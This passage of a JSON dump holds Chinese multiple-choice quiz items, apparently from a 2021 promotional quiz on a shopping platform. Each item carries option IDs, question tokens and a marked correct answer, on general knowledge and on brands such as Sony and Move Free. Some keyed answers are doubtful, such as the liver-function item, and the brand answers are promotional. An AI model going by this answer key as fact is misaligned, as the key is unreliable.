04:48:23","status":"1"},{"questionId":"8801432250","questionIndex":"2","questionStem":"下列不属于人体肝脏的功能的是?","options":"[{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVrsPIwJU_k-jqWRpZA\",\"optionDesc\":\"血糖转化功能\"},{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVZMH71VsOjXipRxc0w\",\"optionDesc\":\"消化功能\"},{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVMN2QNJweGcKMiEvKg\",\"optionDesc\":\"解毒功能\"}]","questionToken":"I8wSx0BQjTwxFb_QEOYxBN0p2uJ97Jfj3paNGuR5gxvyNsLPZk5PHrJgKAJnqsodOKqUGVPJMIAE3ZPjnjh4gFc6OaUGnw","correct":"{\"optionId\":\"I8wSx0BQjTwxFb-BA64qVrsPIwJU_k-jqWRpZA\",\"optionDesc\":\"血糖转化功能\"}","create_time":"27/1/2021 04:50:21","update_time":"27/1/2021 04:50:21","status":"1"},{"questionId":"8801432251","questionIndex":"3","questionStem":"月球环绕地球一周的时间约为?","options":"[{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVLtTIVP_BKZG4l0\",\"optionDesc\":\"一年\"},{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVp2cKhZauRlAANw\",\"optionDesc\":\"一个月\"},{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVckRXRgAJTG7SRE\",\"optionDesc\":\"一天\"}]","questionToken":"I8wSx0BQjTwxFL_REOYxBBMJrzB0PTX4t32nhcKsF6gjl3Cwpp66B2b6GiGNhw-C1_iw2hVQ9eGPMHqzlguYCdIIf4di1w","correct":"{\"optionId\":\"I8wSx0BQjTwxFL-BA64qVp2cKhZauRlAANw\",\"optionDesc\":\"一个月\"}","create_time":"27/1/2021 04:40:34","update_time":"27/1/2021 04:40:34","status":"1"},{"questionId":"8801432252","questionIndex":"3","questionStem":"下列哪个奖项不在诺贝尔奖之列?","options":"[{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVrK7q5QbRkWOmXc\",\"optionDesc\":\"数学奖\"},{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVRZkjfPleatf-CU\",\"optionDesc\":\"物理学奖\"},{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVPfn-lNzCTDFclY\",\"optionDesc\":\"医学奖\"}]","questionToken":"I8wSx0BQjTwxF7_REOYxBAH1-8AcDl9grOomM47i397bNe2EOrzpEBiolG34Fs2H50n4mBPL6V75dIxFACRRrfz0qTZslA","correct":"{\"optionId\":\"I8wSx0BQjTwxF7-BA64qVrK7q5QbRkWOmXc\",\"optionDesc\":\"数学奖\"}","create_time":"27/1/2021 04:50:55","update_time":"27/1/2021 04:50:55","status":"1"},{"questionId":"8801432253","questionIndex":"5","questionStem":"\"蜻蜒点水\"是为了?","options":"[{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVMSLwDSBV-Do7Yr9Bg\",\"optionDesc\":\"呼吸\"},{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVax8KHc33TClONnFww\",\"optionDesc\":\"戏水\"},{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVplc6vZZdYg117NyGg\",\"optionDesc\":\"产卵\"}]","questionToken":"I8wSx0BQjTwxFr_XEOYxA2T1CYVe6NG_-hVUrObWXpyvmLSckN2_H1JxHYs4-Xanmu7aYCBrP5qwo2bJPI3e9I6X6a270w","correct":"{\"optionId\":\"I8wSx0BQjTwxFr-BA64qVplc6vZZdYg117NyGg\",\"optionDesc\":\"产卵\"}","create_time":"27/1/2021 04:33:00","update_time":"27/1/2021 04:33:00","status":"1"},{"questionId":"8801432254","questionIndex":"3","questionStem":"最早的飞机使用的发动机是?","options":"[{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVLmb9cShp_TtI5AK\",\"optionDesc\":\"涡轮喷气发动机\"},{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVhkTVbvHgR7-wFV-\",\"optionDesc\":\"活塞螺旋桨发动机\"},{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVdi-RLqWc4YU4thG\",\"optionDesc\":\"涡轮风扇发动机\"}]","questionToken":"I8wSx0BQjTwxEb_REOYxA-ACOjlBTFt66o68fJHm5EpPSIOt9Zez8J8Bhdgj3v0dhhQzPgbeO5M680D3MIs6HpS-tbM9rQ","correct":"{\"optionId\":\"I8wSx0BQjTwxEb-BA64qVhkTVbvHgR7-wFV-\",\"optionDesc\":\"活塞螺旋桨发动机\"}","create_time":"27/1/2021 04:37:25","update_time":"27/1/2021 04:37:25","status":"1"},{"questionId":"8801432255","questionIndex":"4","questionStem":"下面所列选项哪个不是地下茎?","options":"[{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVmtYFI0X_jPz6VHW\",\"optionDesc\":\"胡萝卜\"},{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVfizvi5wgoezAMsF\",\"optionDesc\":\"荸荠\"},{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVCKeAf2IZlyF4otB\",\"optionDesc\":\"马玲薯\"}]","questionToken":"I8wSx0BQjTwxEL_WEOYxBHcRH3lfhWxB2AnH7ydlUpLt9VZ9nnEvy617N5e5ovq1_uvk_0wrZUOR_EWv9K0447LODd570g","correct":"{\"optionId\":\"I8wSx0BQjTwxEL-BA64qVmtYFI0X_jPz6VHW\",\"optionDesc\":\"胡萝卜\"}","create_time":"27/1/2021 04:52:13","update_time":"27/1/2021 04:52:13","status":"1"},{"questionId":"8801432256","questionIndex":"1","questionStem":"划分湖南、湖北的“湖”是指?","options":"[{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVrd7lGzBxkOhHyhKbA\",\"optionDesc\":\"洞庭湖\"},{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVX7btHwHaLutazcZ7w\",\"optionDesc\":\"东湖\"},{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVDqojGC92yzpj9nCIw\",\"optionDesc\":\"鄱阳湖\"}]","questionToken":"I8wSx0BQjTwxE7_TEOYxBIIaNkfj2bRybFoaxmFwnTNleDpbLeCVVkmfhlP8bjNzHWn3n3n3EiInrbB--vq7lc7jTbdbwA","correct":"{\"optionId\":\"I8wSx0BQjTwxE7-BA64qVrd7lGzBxkOhHyhKbA\",\"optionDesc\":\"洞庭湖\"}","create_time":"27/1/2021 04:40:39","update_time":"27/1/2021 04:40:39","status":"1"},{"questionId":"9101427406","questionIndex":"5","questionStem":"强生隐形眼镜是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoCt620opcfq3bl4bq3OzveBaM\",\"optionDesc\":\"中国\"},{\"optionId\":\"IsUSx0BRiDoCt620opcfqP1Y-reAaSZaXw8\",\"optionDesc\":\"美国 \\t \\t\"},{\"optionId\":\"IsUSx0BRiDoCt620opcfqkQXlnj4Af3iCDQ\",\"optionDesc\":\"德国\"}]","questionToken":"IsUSx0BRiDoCt63isd8E-uknHVBk5Ee2yu6m4Pbw23FtWwvt1ES4u0vlQo0-SWOaVv08ueS4lVv5QaIkWM1U_cc8GmFZlw","correct":"{\"optionId\":\"IsUSx0BRiDoCt620opcfqP1Y-reAaSZaXw8\",\"optionDesc\":\"美国 \\t \\t\"}","create_time":"27/1/2021 04:44:28","update_time":"27/1/2021 04:44:28","status":"1"},{"questionId":"9101427407","questionIndex":"5","questionStem":"美瞳是强生的注册商标吗?","options":"[{\"optionId\":\"IsUSx0BRiDoCtq20opcfqnFKZUuRMGF5G_Q\",\"optionDesc\":\"不清楚\"},{\"optionId\":\"IsUSx0BRiDoCtq20opcfqLXvgwNzBL1Lk3w\",\"optionDesc\":\"是\"},{\"optionId\":\"IsUSx0BRiDoCtq20opcfqztpPFKwZpMuQ8Q\",\"optionDesc\":\"不是\"}]","questionToken":"IsUSx0BRiDoCtq3isd8E_aP00rWk9YKjqySBKW6HzIgKiMzHSh45vts5S5JuPjIWpti77lL-NkzJuO932qetsZwivdAeFQ","correct":"{\"optionId\":\"IsUSx0BRiDoCtq20opcfqLXvgwNzBL1Lk3w\",\"optionDesc\":\"是\"}","create_time":"27/1/2021 04:40:35","update_time":"27/1/2021 04:40:35","status":"1"},{"questionId":"9101427408","questionIndex":"1","questionStem":"强生隐形眼镜提倡的是?","options":"[{\"optionId\":\"IsUSx0BRiDoCua20opcfq7CPqE5HKNXCRECpSQ\",\"optionDesc\":\"抛型周期越长越划算 \"},{\"optionId\":\"IsUSx0BRiDoCua20opcfqgOh-ZGUrCP244EdyQ\",\"optionDesc\":\"美瞳色素越夸张越好\"},{\"optionId\":\"IsUSx0BRiDoCua20opcfqLIV-GcvsMeSp6h5Dw\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}]","questionToken":"IsUSx0BRiDoCua3msd8E-mJ2G1CoQm3wVePwU1ISJPoh7Vb5Ndw5O9zq5QFYehf86Ar6NJp_H_68d7KbHBf0sOSyBeiiCQ","correct":"{\"optionId\":\"IsUSx0BRiDoCua20opcfqLIV-GcvsMeSp6h5Dw\",\"optionDesc\":\"抛型周期越短越健康 \\t\\t\"}","create_time":"27/1/2021 04:39:29","update_time":"27/1/2021 04:39:29","status":"1"},{"questionId":"9101427409","questionIndex":"3","questionStem":"以下哪个不是强生隐形眼镜售卖的抛型?","options":"[{\"optionId\":\"IsUSx0BRiDoCuK20opcfqBwm6pHzvsAepmC6_w\",\"optionDesc\":\"年抛 \\t \\t\"},{\"optionId\":\"IsUSx0BRiDoCuK20opcfqtSK98oZqxhC43Uxug\",\"optionDesc\":\"双周抛\"},{\"optionId\":\"IsUSx0BRiDoCuK20opcfqyoIS_dbTIvH_vw_ew\",\"optionDesc\":\"日抛\"}]","questionToken":"IsUSx0BRiDoCuK3ksd8E-uTKXsmH6MrgXcg4Lj17cCXEyjvCw88DacLss7l7bEbH4AGOhzHpzW3ind7gslqPVYJoXQr-6Q","correct":"{\"optionId\":\"IsUSx0BRiDoCuK20opcfqBwm6pHzvsAepmC6_w\",\"optionDesc\":\"年抛 \\t \\t\"}","create_time":"27/1/2021 04:39:40","update_time":"27/1/2021 04:39:40","status":"1"},{"questionId":"9101427410","questionIndex":"4","questionStem":"以下哪个不是强生安视优的产品?","options":"[{\"optionId\":\"IsUSx0BRiDoDsa20opcfqMMPDM1vE3yLcCA6vA\",\"optionDesc\":\"泡泡实验室 \\t \\t\"},{\"optionId\":\"IsUSx0BRiDoDsa20opcfqyNBsPRyRDi0g86ukA\",\"optionDesc\":\"舒日\"},{\"optionId\":\"IsUSx0BRiDoDsa20opcfqgJ2BBHQsVgvYChIGA\",\"optionDesc\":\"美瞳\"}]","questionToken":"IsUSx0BRiDoDsa3jsd8E_VXdsRaM5ZHSJtUyu6xBAHfnkn0bMBndDPxZXz_DNi3RZJze8v5v321YK4JdX-teoXtIaZ8Thw","correct":"{\"optionId\":\"IsUSx0BRiDoDsa20opcfqMMPDM1vE3yLcCA6vA\",\"optionDesc\":\"泡泡实验室 \\t \\t\"}","create_time":"27/1/2021 04:51:32","update_time":"27/1/2021 04:51:32","status":"1"},{"questionId":"9101427411","questionIndex":"5","questionStem":"三枪集团总部坐落于?","options":"[{\"optionId\":\"IsUSx0BRiDoDsK20opcfqjRFdHfMPU6D9HOa\",\"optionDesc\":\"广东深圳\"},{\"optionId\":\"IsUSx0BRiDoDsK20opcfqMN_AeGEr_Fpou7H\",\"optionDesc\":\"上海浦东\"},{\"optionId\":\"IsUSx0BRiDoDsK20opcfq70bkFtqm427ml0h\",\"optionDesc\":\"上海黄浦\\t\"}]","questionToken":"IsUSx0BRiDoDsK3isd8E-mWlvHEVbsUBD9_5lfcIMXA6sQa_4lgxkodVcvEqf3z4zwC5zkU9oftZbHJRvsOUzPDLAwel2g","correct":"{\"optionId\":\"IsUSx0BRiDoDsK20opcfqMN_AeGEr_Fpou7H\",\"optionDesc\":\"上海浦东\"}","create_time":"27/1/2021 04:48:46","update_time":"27/1/2021 04:48:46","status":"1"},{"questionId":"9101427412","questionIndex":"1","questionStem":"三枪品牌创始于哪一年?","options":"[{\"optionId\":\"IsUSx0BRiDoDs620opcfq21CKRJ1oRDh\",\"optionDesc\":\"1994\"},{\"optionId\":\"IsUSx0BRiDoDs620opcfqqoYYYCkRQDD\",\"optionDesc\":\"1957\"},{\"optionId\":\"IsUSx0BRiDoDs620opcfqEMGyKQcUdkA\",\"optionDesc\":\"1937\\t\\t\"}]","questionToken":"IsUSx0BRiDoDs63msd8E-jhQ55lLtrXkUCdgOw55ogl4fUYQysCNmPmCfHvNAafhW_-Xvdc8XHewmUJpGvPry9JinOvkFw","correct":"{\"optionId\":\"IsUSx0BRiDoDs620opcfqEMGyKQcUdkA\",\"optionDesc\":\"1937\\t\\t\"}","create_time":"27/1/2021 04:39:42","update_time":"27/1/2021 04:39:42","status":"1"},{"questionId":"9101427414","questionIndex":"1","questionStem":"以下哪个品牌与三枪有过联名?","options":"[{\"optionId\":\"IsUSx0BRiDoDta20opcfqvOcyc3xkmMM2rzt\",\"optionDesc\":\"李宁\"},{\"optionId\":\"IsUSx0BRiDoDta20opcfqIbHIDLK3e3tVUJi\",\"optionDesc\":\"故宫宫廷文化\\t\\t\"},{\"optionId\":\"IsUSx0BRiDoDta20opcfq4ylr7um1RbgI2gI\",\"optionDesc\":\"光明\"}]","questionToken":"IsUSx0BRiDoDta3msd8E-sLwkWFa0iBuHXbxSnoFHO2kmqRdWXw71DoGktff_gHk_Xzj1nqAM94afwSR0SnEZO9DKW4U9Q","correct":"{\"optionId\":\"IsUSx0BRiDoDta20opcfqIbHIDLK3e3tVUJi\",\"optionDesc\":\"故宫宫廷文化\\t\\t\"}","create_time":"27/1/2021 04:43:53","update_time":"27/1/2021 04:43:53","status":"1"},{"questionId":"9101427415","questionIndex":"4","questionStem":"以下哪个不属于三枪业务?","options":"[{\"optionId\":\"IsUSx0BRiDoDtK20opcfq4qvFhxJg_oO2ic\",\"optionDesc\":\"服饰\\t\"},{\"optionId\":\"IsUSx0BRiDoDtK20opcfqt0x-anTD9qIxNM\",\"optionDesc\":\"家纺\"},{\"optionId\":\"IsUSx0BRiDoDtK20opcfqNZ32AP9-ULn-CA\",\"optionDesc\":\"食品\\t\"}]","questionToken":"IsUSx0BRiDoDtK3jsd8E_S19-K54X0baWAZQM2d25pi5BSGLNE3B3r9Bq7HT27ODUoRm3-ISLZawkkwF1egod336y2m92w","correct":"{\"optionId\":\"IsUSx0BRiDoDtK20opcfqNZ32AP9-ULn-CA\",\"optionDesc\":\"食品\\t\"}","create_time":"27/1/2021 04:40:36","update_time":"27/1/2021 04:40:36","status":"1"},{"questionId":"9101427416","questionIndex":"4","questionStem":"以下哪个品牌属于三枪集团?","options":"[{\"optionId\":\"IsUSx0BRiDoDt620opcfqPeRBGqL_w4xrI6j\",\"optionDesc\":\"鹅牌\\t\"},{\"optionId\":\"IsUSx0BRiDoDt620opcfq6gHO0UieodeN-Rz\",\"optionDesc\":\"钟牌\\t\"},{\"optionId\":\"IsUSx0BRiDoDt620opcfqm0vqUXmazh4pBcE\",\"optionDesc\":\"民光\"}]","questionToken":"IsUSx0BRiDoDt63jsd8E_UMW5Zpjs6yx3y3EA4PQTz9nCUBgKI1k0Q_Ynw_zNUvG9fXOTEL_U9Ge6ptAkPNYigtsuM1E2w","correct":"{\"optionId\":\"IsUSx0BRiDoDt620opcfqPeRBGqL_w4xrI6j\",\"optionDesc\":\"鹅牌\\t\"}","create_time":"27/1/2021 04:45:20","update_time":"27/1/2021 04:45:20","status":"1"},{"questionId":"9101427418","questionIndex":"3","questionStem":"佳佰 万信达在京东主营什么产品?","options":"[{\"optionId\":\"IsUSx0BRiDoDua20opcfqitilAIAI5MPhuZ6\",\"optionDesc\":\"护肤品\"},{\"optionId\":\"IsUSx0BRiDoDua20opcfqxGHuMjYrfy6MQrt\",\"optionDesc\":\"箱包\\t\"},{\"optionId\":\"IsUSx0BRiDoDua20opcfqP6aBR01zRTngrfi\",\"optionDesc\":\"口罩\\t\"}]","questionToken":"IsUSx0BRiDoDua3ksd8E-qn_kTbf6faPRep9zcT9BSYV1HV2la5GASm0XkNDLoth4ufJvJdSy2N8EUcO5hoJAr0kJKlXQg","correct":"{\"optionId\":\"IsUSx0BRiDoDua20opcfqP6aBR01zRTngrfi\",\"optionDesc\":\"口罩\\t\"}","create_time":"27/1/2021 04:37:28","update_time":"27/1/2021 04:37:28","status":"1"},{"questionId":"9101427419","questionIndex":"5","questionStem":"佳佰 万信达今年推出了什么产品?","options":"[{\"optionId\":\"IsUSx0BRiDoDuK20opcfqvVeZ3d0dop_uVA\",\"optionDesc\":\"拜年手机\"},{\"optionId\":\"IsUSx0BRiDoDuK20opcfqGYA5KH2NIsoSqU\",\"optionDesc\":\"拜年口罩\\t\"},{\"optionId\":\"IsUSx0BRiDoDuK20opcfq8msEYUZ__RMlTk\",\"optionDesc\":\"拜年箱包\\t\"}]","questionToken":"IsUSx0BRiDoDuK3isd8E_VZ8rQTSpo3a-Z7WNLJX7a9f1_8jnosta1VsySwsjeNKnBLm3lbW4dC8IWRNK6xgN6Zo_by8bg","correct":"{\"optionId\":\"IsUSx0BRiDoDuK20opcfqGYA5KH2NIsoSqU\",\"optionDesc\":\"拜年口罩\\t\"}","create_time":"27/1/2021 04:49:56","update_time":"27/1/2021 04:49:56","status":"1"},{"questionId":"9101427420","questionIndex":"5","questionStem":"佳佰 万信达LOGO简称是?","options":"[{\"optionId\":\"IsUSx0BRiDoAsa20opcfqyxohSsBCwI\",\"optionDesc\":\"WXDD\\t\"},{\"optionId\":\"IsUSx0BRiDoAsa20opcfqC7WfGMolgg\",\"optionDesc\":\"WXD\\t\"},{\"optionId\":\"IsUSx0BRiDoAsa20opcfqqtmzt87A50\",\"optionDesc\":\"WDX\"}]","questionToken":"IsUSx0BRiDoAsa3isd8E-qipWNtUvOWRMwSnEGzWtrjkCXKt8iC9U0ExozG5OTmq-yrvOznh6x5IOY1Jw0ka8zo3NMEYpQ","correct":"{\"optionId\":\"IsUSx0BRiDoAsa20opcfqC7WfGMolgg\",\"optionDesc\":\"WXD\\t\"}","create_time":"27/1/2021 04:37:44","update_time":"27/1/2021 04:37:44","status":"1"},{"questionId":"9101427421","questionIndex":"2","questionStem":"以下哪个不是佳佰 万信达的拜年口罩类型?","options":"[{\"optionId\":\"IsUSx0BRiDoAsK20opcfqprAJ1evpuOWdcAVaA\",\"optionDesc\":\"牛年顺利\"},{\"optionId\":\"IsUSx0BRiDoAsK20opcfqxYs_w19Au3Euqkzwg\",\"optionDesc\":\"牛转乾坤\\t\"},{\"optionId\":\"IsUSx0BRiDoAsK20opcfqABdYLMsjYo8mFH6QA\",\"optionDesc\":\"福星高照\\t\"}]","questionToken":"IsUSx0BRiDoAsK3lsd8E_Yorgwa8xT4zNMgCGWpKilk7d65GJgicCCGZVbF-FgSC5mlFC6Dsb_lh1kJMo-4D2E0bvnPoDQ","correct":"{\"optionId\":\"IsUSx0BRiDoAsK20opcfqABdYLMsjYo8mFH6QA\",\"optionDesc\":\"福星高照\\t\"}","create_time":"27/1/2021 04:00:28","update_time":"27/1/2021 04:00:28","status":"1"},{"questionId":"9101427422","questionIndex":"2","questionStem":"以下哪个是佳佰 万信达产品的覆盖范围?","options":"[{\"optionId\":\"IsUSx0BRiDoAs620opcfqv2mbpK6gSlxV_WtvQ\",\"optionDesc\":\"俄罗斯\"},{\"optionId\":\"IsUSx0BRiDoAs620opcfqI0RbI3l8m0ElIXI-Q\",\"optionDesc\":\"中国\"},{\"optionId\":\"IsUSx0BRiDoAs620opcfqwQ_ckQmX86Rs5dv5A\",\"optionDesc\":\"英国\"}]","questionToken":"IsUSx0BRiDoAs63lsd8E-vc2KETe-qT1ucoQyDzkzCD3Io0ng1wgy1MwCEVBvgEbmkklYcPJVTIPYdaKbru64kd0Je1Bpw","correct":"{\"optionId\":\"IsUSx0BRiDoAs620opcfqI0RbI3l8m0ElIXI-Q\",\"optionDesc\":\"中国\"}","create_time":"27/1/2021 04:42:51","update_time":"27/1/2021 04:42:51","status":"1"},{"questionId":"9101427423","questionIndex":"3","questionStem":"索尼公司于哪一年成立?","options":"[{\"optionId\":\"IsUSx0BRiDoAsq20opcfqgqIMeA3lyzP--TW\",\"optionDesc\":\"1958\"},{\"optionId\":\"IsUSx0BRiDoAsq20opcfq5xwq-x2mjVz_zjz\",\"optionDesc\":\"1956\\t\"},{\"optionId\":\"IsUSx0BRiDoAsq20opcfqOvYYfagrusqhSi1\",\"optionDesc\":\"1946\\t\"}]","questionToken":"IsUSx0BRiDoAsq3ksd8E-j_WtpFQ-2OQ7HgTRpN7Jx04s8329VMQlkSAipoH6CfBmlyxcZIx7wIY4LeBis8d6s8eWzt5fg","correct":"{\"optionId\":\"IsUSx0BRiDoAsq20opcfqOvYYfagrusqhSi1\",\"optionDesc\":\"1946\\t\"}","create_time":"27/1/2021 04:49:53","update_time":"27/1/2021 04:49:53","status":"1"},{"questionId":"9101427425","questionIndex":"3","questionStem":"索尼公司创立于哪个国家?","options":"[{\"optionId\":\"IsUSx0BRiDoAtK20opcfq35QNRSuZivGn5za\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"IsUSx0BRiDoAtK20opcfqsnv1-XR2tE-mZzc\",\"optionDesc\":\"德国\"},{\"optionId\":\"IsUSx0BRiDoAtK20opcfqNqb6qN9xg41bkF5\",\"optionDesc\":\"日本\"}]","questionToken":"IsUSx0BRiDoAtK3ksd8E_cEj2sMx9i_DmyFAQbsjUC4RxYHKJqMe6T3yXyXvKoxhe7WLmTrqdV_e4siOqX0Thv5vTbV4mg","correct":"{\"optionId\":\"IsUSx0BRiDoAtK20opcfqNqb6qN9xg41bkF5\",\"optionDesc\":\"日本\"}","create_time":"27/1/2021 04:38:24","update_time":"27/1/2021 04:38:24","status":"1"},{"questionId":"9101427426","questionIndex":"5","questionStem":"索尼公司哪一年进入中国?","options":"[{\"optionId\":\"IsUSx0BRiDoAt620opcfqonxiOIoHX3rvTA\",\"optionDesc\":\"2000\"},{\"optionId\":\"IsUSx0BRiDoAt620opcfq3Q6vjMAIptoodY\",\"optionDesc\":\"1998\\t\"},{\"optionId\":\"IsUSx0BRiDoAt620opcfqFEaCRPPTEjAnEc\",\"optionDesc\":\"1996\\t\"}]","questionToken":"IsUSx0BRiDoAt63isd8E-iHw-KyDR2RftVbMWznxLQ2K9MXclkqqtP1Xpa-b5zePKkSAHnea3XkJW1hzCsMv75DLPuTN-A","correct":"{\"optionId\":\"IsUSx0BRiDoAt620opcfqFEaCRPPTEjAnEc\",\"optionDesc\":\"1996\\t\"}","create_time":"27/1/2021 04:39:20","update_time":"27/1/2021 04:39:20","status":"1"},{"questionId":"9101427427","questionIndex":"4","questionStem":"索尼微单最高连拍可达多少?","options":"[{\"optionId\":\"IsUSx0BRiDoAtq20opcfqCe-lg1NAZplUVjp\",\"optionDesc\":\"约20张/秒\\t\"},{\"optionId\":\"IsUSx0BRiDoAtq20opcfqgUhmaXArUnh4OSs\",\"optionDesc\":\"约15张/秒\"},{\"optionId\":\"IsUSx0BRiDoAtq20opcfqw3UjOomVVXRKeKQ\",\"optionDesc\":\"约25张/秒\\t\"}]","questionToken":"IsUSx0BRiDoAtq3jsd8E_Wt09Ge1IWLme0pRc90kFVwe9SKDYi5QwHQF_p01QzU50HYm-Vd1m40aTJpHHo3Ib5QfJtJ7yw","correct":"{\"optionId\":\"IsUSx0BRiDoAtq20opcfqCe-lg1NAZplUVjp\",\"optionDesc\":\"约20张/秒\\t\"}","create_time":"27/1/2021 04:48:45","update_time":"27/1/2021 04:48:45","status":"1"},{"questionId":"9101427428","questionIndex":"5","questionStem":"哪个是用索尼微单拍摄动物最得力的黑科技?","options":"[{\"optionId\":\"IsUSx0BRiDoAua20opcfqMGd70acfEICWEdlKQ\",\"optionDesc\":\"实时动物眼部对焦\\t\"},{\"optionId\":\"IsUSx0BRiDoAua20opcfqsHS4c5RLRQ6X-tomw\",\"optionDesc\":\"实时眼部对焦\"},{\"optionId\":\"IsUSx0BRiDoAua20opcfq65RJ8zTrLT3swylfw\",\"optionDesc\":\"全新的侧翻转屏\"}]","questionToken":"IsUSx0BRiDoAua3isd8E_Sey_HFPCKRC28g81TprO--20-YSjVdZPmr_ld4jO_3tMP6jzn8Ap4Ho64cJ2RfiAwCGe76wng","correct":"{\"optionId\":\"IsUSx0BRiDoAua20opcfqMGd70acfEICWEdlKQ\",\"optionDesc\":\"实时动物眼部对焦\\t\"}","create_time":"27/1/2021 03:40:49","update_time":"27/1/2021 03:40:49","status":"1"},{"questionId":"9101427429","questionIndex":"4","questionStem":"氨糖软骨素的作用是什么?","options":"[{\"optionId\":\"IsUSx0BRiDoAuK20opcfqzaoaHfR54VR2NqI2Q\",\"optionDesc\":\"调节三高\"},{\"optionId\":\"IsUSx0BRiDoAuK20opcfqMjalye764OXhA4MoQ\",\"optionDesc\":\"修复关节软骨\"},{\"optionId\":\"IsUSx0BRiDoAuK20opcfqtkEugaNdBu81Asxmw\",\"optionDesc\":\"强健心肌\"}]","questionToken":"IsUSx0BRiDoAuK3jsd8E_Tn5JIUwqzJWns7bEq8IpRKIVDxCKpIe2s3S9s11dCI1tDnMUn6wzZUYr2SiVst8ZI0I7Zw98A","correct":"{\"optionId\":\"IsUSx0BRiDoAuK20opcfqMjalye764OXhA4MoQ\",\"optionDesc\":\"修复关节软骨\"}","create_time":"27/1/2021 04:00:29","update_time":"27/1/2021 04:00:29","status":"1"},{"questionId":"9101427430","questionIndex":"2","questionStem":"Move Free是专注于哪方面健康的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoBsa20opcfquqHY01db0wNfJ_U\",\"optionDesc\":\"美容养颜\"},{\"optionId\":\"IsUSx0BRiDoBsa20opcfqEfrYNQ9QT5VMFGh\",\"optionDesc\":\"关节健康\"},{\"optionId\":\"IsUSx0BRiDoBsa20opcfqwv1ChURIt0oKIcN\",\"optionDesc\":\"免疫健康\"}]","questionToken":"IsUSx0BRiDoBsa3lsd8E-jw8uSc9PCiu_siwWMVZtZLT5xPbKEu-LZ-wv3Ult4_7MDemx5IlW1i-Ne1ed_3d885VlSftpg","correct":"{\"optionId\":\"IsUSx0BRiDoBsa20opcfqEfrYNQ9QT5VMFGh\",\"optionDesc\":\"关节健康\"}","create_time":"27/1/2021 04:49:20","update_time":"27/1/2021 04:49:20","status":"1"},{"questionId":"9101427431","questionIndex":"1","questionStem":"Move Free是哪个国家的品牌?","options":"[{\"optionId\":\"IsUSx0BRiDoBsK20opcfqkkZ-vyKW-aQDzpp\",\"optionDesc\":\"澳大利亚\"},{\"optionId\":\"IsUSx0BRiDoBsK20opcfqLK5TAJVP8Q9cDoM\",\"optionDesc\":\"美国\\t\"},{\"optionId\":\"IsUSx0BRiDoBsK20opcfqxctYC25k6qjCeEl\",\"optionDesc\":\"英国\\t\"}]","questionToken":"IsUSx0BRiDoBsK3msd8E-h2KYQu81CnCHAodWxuGPAx1EwP8GL0MJ59GCGk2GJ-SYWTQ4HdInUsrPHUHDkERc4oDCsD_OQ","correct":"{\"optionId\":\"IsUSx0BRiDoBsK20opcfqLK5TAJVP8Q9cDoM\",\"optionDesc\":\"美国\\t\"}","create_time":"27/1/2021 04:40:02","update_time":"27/1/2021 04:40:02","status":"1"},{"questionId":"9101427432","questionIndex":"4","questionStem":"Move Free的母品牌是?","options":"[{\"optionId\":\"IsUSx0BRiDoBs620opcfq-f3KKIsm59Lqg\",\"optionDesc\":\"益节\\t\"},{\"optionId\":\"IsUSx0BRiDoBs620opcfqJ8tSFq_DMOvrQ\",\"optionDesc\":\"旭福\\t\"},{\"optionId\":\"IsUSx0BRiDoBs620opcfqiwp7baWUxYwBg\",\"optionDesc\":\"迈拓\"}]","questionToken":"IsUSx0BRiDoBs63jsd8E-r9VuVlLUeQtTp48F7KFC_jenI18QcfwD0drliMIUjepfbwQepPLqU9B67o3WNEsVoq4oflJIg","correct":"{\"optionId\":\"IsUSx0BRiDoBs620opcfqJ8tSFq_DMOvrQ\",\"optionDesc\":\"旭福\\t\"}","create_time":"27/1/2021 04:49:04","update_time":"27/1/2021 04:49:04","status":"1"},{"questionId":"9101427433","questionIndex":"3","questionStem":"Move Free的母品牌有超过几年的历史?","options":"[{\"optionId\":\"IsUSx0BRiDoBsq20opcfq30PDkRTnWEu3WH2\",\"optionDesc\":\"70年\"},{\"optionId\":\"IsUSx0BRiDoBsq20opcfqoqW_l73jrdgKCKy\",\"optionDesc\":\"90年\"},{\"optionId\":\"IsUSx0BRiDoBsq20opcfqFXW5SL1i28PsvEU\",\"optionDesc\":\"80年\\t\"}]","questionToken":"IsUSx0BRiDoBsq3ksd8E-g3MC22c3BbedumYYReAxKnCy2SovJS4pEPlq2Su9PE80a8HujKxNxj8Pnkq85Jc4zP9V8zhcQ","correct":"{\"optionId\":\"IsUSx0BRiDoBsq20opcfqFXW5SL1i28PsvEU\",\"optionDesc\":\"80年\\t\"}","create_time":"27/1/2021 04:39:56","update_time":"27/1/2021 